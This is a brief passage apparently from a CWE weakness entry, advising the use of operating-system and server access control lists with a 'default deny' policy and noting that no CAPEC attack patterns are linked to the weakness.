Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

No CAPEC attack patterns related to this CWE.